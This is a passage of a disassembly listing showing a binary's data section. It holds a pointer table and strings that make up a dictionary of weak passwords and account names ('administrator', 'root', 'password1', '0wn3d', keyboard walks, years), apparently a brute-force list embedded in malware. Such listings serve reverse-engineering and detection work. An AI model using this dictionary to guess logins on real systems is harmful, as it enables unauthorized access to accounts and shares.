"zimmerman" dd offset asc_42D58C ; "%" dd offset asc_42D588 ; "!" dd offset a@_12 ; "!@" dd offset a@_11 ; "!@#" dd offset a@ ; "!@#$%" dd offset a@_0 ; "!@#$%^" dd offset a@_1 ; "!@#$%^&" dd offset a@_2 ; "!@#$%^&*" dd offset dword_422190 dd offset dword_42D558 dd offset off_42D554 dd offset a@_10 ; "@" dd offset a@@ ; "@@" dd offset asc_42D548 ; "+" dd offset asc_42D544 ; "++" dd offset asc_42D540 ; "+++" dd offset asc_42D538 ; "++++" dd offset asc_42D534 ; "-" dd offset asc_42D530 ; "--" dd offset asc_42D530 ; "--" dd offset asc_42D528 ; "----" dd offset asc_42D524 ; "-+" dd offset asc_42D51C ; "--++" dd offset a0 ; "=-0" dd offset a789 ; "789+" dd offset a456 ; "456+" dd offset asc_42D504 ; "$" dd offset asc_42D500 ; "$$" dd offset asc_42D4FC ; "$$$" dd offset a@_3 ; "*&^%$#@!" dd offset a@_4 ; "&^%$#@!" dd offset a@_5 ; "^%$#@!" dd offset a@_6 ; "%$#@!" dd offset a@_7 ; "$#@!" dd offset a@_9 ; "#@!" dd offset a@_8 ; "@!" dd offset dword_4221A4 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_4253F8 ; "*" dd offset asc_42D4AC ; "**" dd offset asc_42D4A8 ; "***" dd offset asc_42D4A0 ; "****" dd offset asc_42D498 ; "*****" dd offset asc_42D490 ; "******" dd offset asc_42D488 ; "*******" dd offset asc_42D47C ; "********" dd offset asc_42D470 ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456_0 ; "456" dd offset a654 ; "654" dd offset a789_0 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung ; "SAMSUNG" dd offset aSamsung_0 ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc_0 ; "DISC" dd offset aCreative ; "CREATIVE" dd offset off_42CEC8 dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset dword_430F74 dd offset aAa ; "aa" dd offset off_430F70 dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset dword_42CE68 dd offset off_42CE64 dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aQwertyu ; "qwertyu" dd offset aQwertyui ; "qwertyui" dd offset aQwertyuio ; "qwertyuio" dd offset aQwertyuiop ; "qwertyuiop" dd offset aRoot ; "root" dd offset aServer_2 ; "server" dd offset aService ; "service" dd offset aServers ; "servers" dd offset aServices ; "services" dd offset aSystem_0 ; "system" dd offset aSystem ; "SYSTEM" dd offset off_42CE10 dd offset off_42CE0C dd offset off_42CE08 dd offset aTiger ; "tiger" dd offset off_42CE04 dd offset aToyota_0 ; "TOYOTA" dd offset aToyota ; "toyota" dd offset asc_430E00 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aKonyang ; "konyang" dd offset dword_42CDF0 dd offset dword_42CDEC dd offset off_42CDE8 dd offset aZxcv ; "zxcv" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" dd offset off_42D88C dd offset aAsdf ; "asdf" dd offset aAsdfg ; "asdfg" dd offset aAsdfgh ; "asdfgh" dd offset aAsdfghj ; "asdfghj" dd offset aAsdfghjk ; "asdfghjk" dd offset aAsdfghjkl ; "asdfghjkl" dd offset dword_42CD98 dd offset dword_42CD94 dd offset off_42CD90 dd offset off_42CD8C dd offset dword_42CD88 dd offset dword_42CD84 dd offset off_42CD80 dd offset aBbbb ; "bbbb" dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" dd offset aBbbbbbb ; "bbbbbbb" dd offset aBbbbbbbb ; "bbbbbbbb" dd offset aBbbbbbbbb ; "bbbbbbbbb" dd offset dword_42CD44 dd offset dword_42CD40 dd offset off_42CD3C dd offset aCccc_0 ; "cccc" dd offset aCcccc ; "ccccc" dd offset aCccccc ; "cccccc" dd offset aCcccccc ; "ccccccc" dd offset aCccccccc ; "cccccccc" dd offset aCcccccccc ; "ccccccccc" dd offset dword_42CD00 dd offset dword_42CCFC dd offset off_42CCF8 dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" dd offset dword_42CCE4 dd offset dword_42CCE0 dd offset off_42CCDC dd offset aFfff ; "ffff" dd offset aFffff ; "fffff" dd offset dword_42CCC8 dd offset dword_42CCC4 dd offset off_42CCC0 dd offset aEeee ; "eeee" dd offset aEeeee ; "eeeee" dd offset aEeeeee ; "eeeeee" dd offset dword_42CCA4 dd offset dword_42CCA0 dd offset off_42CC9C dd offset aGggg ; "gggg" dd offset aGgggg ; "ggggg" dd offset aGggggg ; "gggggg" dd offset dword_42CC80 dd offset dword_42CC7C dd offset off_42CC78 dd offset aHhhh ; "hhhh" dd offset aHhhhh ; "hhhhh" dd offset aHhhhhh ; "hhhhhh" dd offset dword_42CC5C dd offset dword_42CC58 dd offset off_42CC54 dd offset aIiii ; "iiii" dd offset aIiiii ; "iiiii" dd offset aIiiiii ; "iiiiii" dd offset dword_42CC38 dd offset dword_42CC34 dd offset off_42CC30 dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset dword_42CC14 dd offset dword_42CC10 dd offset off_42CC0C dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset dword_42CBF0 dd offset dword_42CBEC dd offset off_42CBE8 dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset dword_42CBCC dd offset dword_42CBC8 dd offset off_42CBC4 dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset dword_42CBA8 dd offset dword_42CBA4 dd offset off_42CBA0 dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset dword_42CB84 dd offset dword_42CB80 dd offset off_42CB7C dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset dword_42CB60 dd offset dword_42CB5C dd offset off_42CB58 dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset dword_42CB3C dd offset dword_42CB38 dd offset off_42CB34 dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset dword_42CB18 dd offset dword_42CB14 dd offset off_42CB10 dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset dword_42CAF4 dd offset dword_42CAF0 dd offset off_42CAEC dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset dword_42CAAC dd offset dword_42CAA8 dd offset off_42CAA4 dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset dword_42CA88 dd offset dword_42CA84 dd offset off_42CA80 dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset dword_42CA64 dd offset dword_42CA60 dd offset off_42CA5C dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset dword_42CDF0 dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset off_42C994 dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem_0 ; "system" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset off_431200 dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset off_431180 dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset byte_438A10 align 8 dword_42C948 dd 10h ; sub_40CC09+B5Dr ... a142536 db '142536',0 ; DATA XREF: .data:0042C8C8o align 4 a753951 db '753951',0 ; DATA XREF: .data:0042C8C4o align 4 a951753 db '951753',0 ; DATA XREF: .data:0042C8C0o align 4 a159357 db '159357',0 ; DATA XREF: .data:0042C8BCo align 4 a753159 db '753159',0 ; DATA XREF: .data:0042C8B8o align 4 a13579 db '13579',0 ; DATA XREF: .data:0042C8B4o align 4 a2684 db '2684',0 ; DATA XREF: .data:0042C8B0o align 4 a2486 db '2486',0 ; DATA XREF: .data:0042C8ACo align 4 aMnbv db 'mnbv',0 ; DATA XREF: .data:0042C8A8o align 4 off_42C994 dd offset byte_626E6D ; DATA XREF: .data:0042C8A4o a112233 db '112233',0 ; DATA XREF: .data:0042C8A0o align 10h a3wsx db '3wsx',0 ; DATA XREF: .data:0042C89Co align 4 a3edc db '3edc',0 ; DATA XREF: .data:0042C898o align 10h a2qaz db '2qaz',0 ; DATA XREF: .data:0042C894o align 4 a2wsx db '2wsx',0 ; DATA XREF: .data:0042C890o align 10h a1qaz db '1qaz',0 ; DATA XREF: .data:0042C88Co align 4 aZzxxcc db 'zzxxcc',0 ; DATA XREF: .data:0042C888o align 10h aAassdd db 'aassdd',0 ; DATA XREF: .data:0042C884o align 4 aQqwwee db 'qqwwee',0 ; DATA XREF: .data:0042C880o align 10h aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .data:0042C87Co align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: .data:0042C878o align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .data:0042C874o align 4 aQqww db 'qqww',0 ; DATA XREF: .data:0042C870o align 4 aAass db 'aass',0 ; DATA XREF: .data:0042C86Co align 4 aZzxx db 'zzxx',0 ; DATA XREF: .data:0042C868o align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: .data:0042C864o align 4 aZzzzzz db 'zzzzzz',0 ; DATA XREF: .data:0042C860o align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: .data:0042C85Co align 4 aZzzz db 'zzzz',0 ; DATA XREF: .data:0042C858o align 4 aZzz db 'zzz',0 ; DATA XREF: .data:0042C854o aZz db 'zz',0 ; DATA XREF: .data:0042C850o align 4 aQqqqqq db 'qqqqqq',0 ; DATA XREF: .data:0042C848o align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: .data:0042C844o align 4 aQqqq db 'qqqq',0 ; DATA XREF: .data:0042C840o align 4 off_42CA5C dd offset byte_717171 ; DATA XREF: .data:0042C83Co dword_42CA60 dd 7171h dword_42CA64 dd 71h aWwwwww db 'wwwwww',0 ; DATA XREF: .data:0042C830o align 10h aWwwww db 'wwwww',0 ; DATA XREF: .data:0042C82Co align 4 aWwww db 'wwww',0 ; DATA XREF: .data:0042C828o align 10h off_42CA80 dd offset byte_777777 ; DATA XREF: .data:0042C824o dword_42CA84 dd 7777h dword_42CA88 dd 77h aVvvvvv db 'vvvvvv',0 ; DATA XREF: .data:0042C818o align 4 aVvvvv db 'vvvvv',0 ; DATA XREF: .data:0042C814o align 4 aVvvv db 'vvvv',0 ; DATA XREF: .data:0042C810o align 4 off_42CAA4 dd offset word_767676 ; DATA XREF: sub_40CC09+2367o ; .data:0042C80Co dword_42CAA8 dd 7676h dword_42CAAC dd 76h aYyyyyy db 'yyyyyy',0 ; DATA XREF: .data:0042C800o align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: .data:0042C7FCo align 10h aYyyy db 'yyyy',0 ; DATA XREF: .data:0042C7F8o align 4 aYyy db 'yyy',0 ; DATA XREF: .data:0042C7F4o aYy db 'yy',0 ; DATA XREF: .data:0042C7F0o align 10h aY: ; DATA XREF: .data:0042C7ECo unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: .data:0042C7E8o align 4 aTtttt db 'ttttt',0 ; DATA XREF: .data:0042C7E4o align 4 aTttt db 'tttt',0 ; DATA XREF: .data:0042C7E0o align 4 off_42CAEC dd offset loc_747472+2 ; DATA XREF: .data:0042C7DCo dword_42CAF0 dd 7474h dword_42CAF4 dd 74h aSsssss db 'ssssss',0 ; DATA XREF: .data:0042C7D0o align 10h aSssss db 'sssss',0 ; DATA XREF: .data:0042C7CCo align 4 aSsss db 'ssss',0 ; DATA XREF: .data:0042C7C8o align 10h off_42CB10 dd offset byte_737373 ; DATA XREF: .data:0042C7C4o dword_42CB14 dd 7373h dword_42CB18 dd 73h aUuuuuu db 'uuuuuu',0 ; DATA XREF: .data:0042C7B8o align 4 aUuuuu db 'uuuuu',0 ; DATA XREF: .data:0042C7B4o align 4 aUuuu db 'uuuu',0 ; DATA XREF: .data:0042C7B0o align 4 off_42CB34 dd offset loc_757573+2 ; DATA XREF: .data:0042C7ACo dword_42CB38 dd 7575h dword_42CB3C dd 75h aPppppp db 'pppppp',0 ; DATA XREF: .data:0042C7A0o align 4 aPpppp db 'ppppp',0 ; DATA XREF: .data:0042C79Co align 10h aPppp db 'pppp',0 ; DATA XREF: .data:0042C798o align 4 off_42CB58 dd offset dword_707070 ; DATA XREF: .data:0042C794o dword_42CB5C dd 7070h dword_42CB60 dd 70h aOooooo db 'oooooo',0 ; DATA XREF: .data:0042C788o align 4 aOoooo db 'ooooo',0 ; DATA XREF: .data:0042C784o align 4 aOooo db 'oooo',0 ; DATA XREF: .data:0042C780o align 4 off_42CB7C dd offset byte_6F6F6F ; DATA XREF: .data:0042C77Co dword_42CB80 dd 6F6Fh dword_42CB84 dd 6Fh aNnnnnn db 'nnnnnn',0 ; DATA XREF: .data:0042C770o align 10h aNnnnn db 'nnnnn',0 ; DATA XREF: .data:0042C76Co align 4 aNnnn db 'nnnn',0 ; DATA XREF: .data:0042C768o align 10h off_42CBA0 dd offset word_6E6E6E ; DATA XREF: .data:0042C764o dword_42CBA4 dd 6E6Eh dword_42CBA8 dd 6Eh aMmmmmm db 'mmmmmm',0 ; DATA XREF: .data:0042C758o align 4 aMmmmm db 'mmmmm',0 ; DATA XREF: .data:0042C754o align 4 aMmmm db 'mmmm',0 ; DATA XREF: .data:0042C750o align 4 off_42CBC4 dd offset byte_6D6D6D ; DATA XREF: .data:0042C74Co dword_42CBC8 dd 6D6Dh dword_42CBCC dd 6Dh aLlllll db 'llllll',0 ; DATA XREF: .data:0042C740o align 4 aLllll db 'lllll',0 ; DATA XREF: .data:0042C73Co align 10h aLlll db 'llll',0 ; DATA XREF: .data:0042C738o align 4 off_42CBE8 dd offset dword_6C6C6C ; DATA XREF: .data:0042C734o dword_42CBEC dd 6C6Ch dword_42CBF0 dd 6Ch aKkkkkk db 'kkkkkk',0 ; DATA XREF: .data:0042C728o align 4 aKkkkk db 'kkkkk',0 ; DATA XREF: .data:0042C724o align 4 aKkkk db 'kkkk',0 ; DATA XREF: .data:0042C720o align 4 off_42CC0C dd offset byte_6B6B6B ; DATA XREF: .data:0042C71Co dword_42CC10 dd 6B6Bh dword_42CC14 dd 6Bh aJjjjjj db 'jjjjjj',0 ; DATA XREF: .data:0042C710o align 10h aJjjjj db 'jjjjj',0 ; DATA XREF: .data:0042C70Co align 4 aJjjj db 'jjjj',0 ; DATA XREF: .data:0042C708o align 10h off_42CC30 dd offset word_6A6A6A ; DATA XREF: .data:0042C704o dword_42CC34 dd 6A6Ah dword_42CC38 dd 6Ah aIiiiii db 'iiiiii',0 ; DATA XREF: .data:0042C6F8o align 4 aIiiii db 'iiiii',0 ; DATA XREF: .data:0042C6F4o align 4 aIiii db 'iiii',0 ; DATA XREF: .data:0042C6F0o align 4 off_42CC54 dd offset byte_696969 ; DATA XREF: .data:0042C6ECo dword_42CC58 dd 6969h dword_42CC5C dd 69h aHhhhhh db 'hhhhhh',0 ; DATA XREF: .data:0042C6E0o align 4 aHhhhh db 'hhhhh',0 ; DATA XREF: .data:0042C6DCo align 10h aHhhh db 'hhhh',0 ; DATA XREF: .data:0042C6D8o align 4 off_42CC78 dd offset dword_686868 ; DATA XREF: .data:0042C6D4o dword_42CC7C dd 6868h dword_42CC80 dd 68h aGggggg db 'gggggg',0 ; DATA XREF: .data:0042C6C8o align 4 aGgggg db 'ggggg',0 ; DATA XREF: .data:0042C6C4o align 4 aGggg db 'gggg',0 ; DATA XREF: .data:0042C6C0o align 4 off_42CC9C dd offset byte_676767 ; DATA XREF: .data:0042C6BCo dword_42CCA0 dd 6767h dword_42CCA4 dd 67h aEeeeee db 'eeeeee',0 ; DATA XREF: .data:0042C6B0o align 10h aEeeee db 'eeeee',0 ; DATA XREF: .data:0042C6ACo align 4 aEeee db 'eeee',0 ; DATA XREF: .data:0042C6A8o align 10h off_42CCC0 dd offset byte_656565 ; DATA XREF: .data:0042C6A4o dword_42CCC4 dd 6565h dword_42CCC8 dd 65h aFffff db 'fffff',0 ; DATA XREF: .data:0042C698o align 4 aFfff db 'ffff',0 ; DATA XREF: .data:0042C694o align 4 off_42CCDC dd offset word_666666 ; DATA XREF: .data:0042C690o dword_42CCE0 dd 6666h dword_42CCE4 dd 66h aDdddd db 'ddddd',0 ; DATA XREF: .data:0042C684o align 10h aDddd db 'dddd',0 ; DATA XREF: .data:0042C680o align 4 off_42CCF8 dd offset dword_646464 ; DATA XREF: .data:0042C67Co dword_42CCFC dd 6464h dword_42CD00 dd 64h aCcccccccc db 'ccccccccc',0 ; DATA XREF: .data:0042C670o align 10h aCccccccc db 'cccccccc',0 ; DATA XREF: .data:0042C66Co align 4 aCcccccc db 'ccccccc',0 ; DATA XREF: .data:0042C668o aCccccc db 'cccccc',0 ; DATA XREF: .data:0042C664o align 4 aCcccc db 'ccccc',0 ; DATA XREF: .data:0042C660o align 4 aCccc_0 db 'cccc',0 ; DATA XREF: .data:0042C65Co align 4 off_42CD3C dd offset byte_636363 ; DATA XREF: .data:0042C658o dword_42CD40 dd 6363h dword_42CD44 dd 63h aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .data:0042C64Co align 4 aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .data:0042C648o align 10h aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .data:0042C644o aBbbbbb db 'bbbbbb',0 ; DATA XREF: .data:0042C640o align 10h aBbbbb db 'bbbbb',0 ; DATA XREF: .data:0042C63Co align 4 aBbbb db 'bbbb',0 ; DATA XREF: .data:0042C638o align 10h off_42CD80 dd offset word_626262 ; DATA XREF: .data:0042C634o dword_42CD84 dd 6262h dword_42CD88 dd 62h off_42CD8C dd offset word_766672 ; DATA XREF: .data:0042C628o off_42CD90 dd offset byte_636465 ; DATA XREF: .data:0042C624o dword_42CD94 dd 787377h dword_42CD98 dd 7A6171h aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .data:0042C618o align 4 aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .data:0042C614o align 4 aAsdfghj db 'asdfghj',0 ; DATA XREF: .data:0042C610o aAsdfgh db 'asdfgh',0 ; DATA XREF: .data:0042C60Co align 4 aAsdfg db 'asdfg',0 ; DATA XREF: .data:0042C608o align 4 aAs db 'as',0 ; DATA XREF: .data:0042C5FCo align 10h aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .data:0042C5F8o aZxcvbn db 'zxcvbn',0 ; DATA XREF: .data:0042C5F4o align 10h aZxcvb db 'zxcvb',0 ; DATA XREF: .data:0042C5F0o align 4 off_42CDE8 dd offset word_63787A ; DATA XREF: .data:0042C5E8o dword_42CDEC dd 787Ah dword_42CDF0 dd 7Ah ; .data:0042C84Co aKonyang db 'konyang',0 ; DATA XREF: .data:0042C5DCo aToyota_0 db 'TOYOTA',0 ; DATA XREF: .data:0042C5A4o align 4 off_42CE04 dd offset byte_524F4B ; DATA XREF: .data:0042C5A0o off_42CE08 dd offset byte_726F6B ; DATA XREF: .data:0042C598o off_42CE0C dd offset byte_696863 ; DATA XREF: .data:0042C594o off_42CE10 dd offset byte_494843 ; DATA XREF: .data:0042C590o aSystem_0 db 'system',0 ; DATA XREF: .data:0042C588o ; .data:0042C8CCo align 4 aServices db 'services',0 ; DATA XREF: .data:0042C584o align 4 aServers db 'servers',0 ; DATA XREF: .data:0042C580o aServer_2 db 'server',0 ; DATA XREF: .data:0042C578o align 4 aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .data:0042C570o align 4 aQwertyuio db 'qwertyuio',0 ; DATA XREF: .data:0042C56Co align 10h aQwertyui db 'qwertyui',0 ; DATA XREF: .data:0042C568o align 4 aQwertyu db 'qwertyu',0 ; DATA XREF: .data:0042C564o off_42CE64 dd offset byte_657771 ; DATA XREF: .data:0042C554o dword_42CE68 dd 7771h aPassword1 db 'password1',0 ; DATA XREF: .data:0042C54Co align 4 aPassword_0 db 'Password',0 ; DATA XREF: .data:0042C548o align 4 aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .data:0042C544o align 10h aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .data:0042C540o align 4 aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .data:0042C53Co aAaaaaa db 'aaaaaa',0 ; DATA XREF: .data:0042C538o align 4 aAaaaa db 'aaaaa',0 ; DATA XREF: .data:0042C534o align 4 aAaaa db 'aaaa',0 ; DATA XREF: .data:0042C530o align 4 aAa db 'aa',0 ; DATA XREF: .data:0042C528o align 10h aNokia db 'NOKIA',0 ; DATA XREF: .data:0042C51Co align 4 off_42CEC8 dd offset byte_584553 ; DATA XREF: .data:0042C518o aCreative db 'CREATIVE',0 ; DATA XREF: .data:0042C514o align 4 aDisc_0 db 'DISC',0 ; DATA XREF: .data:0042C510o align 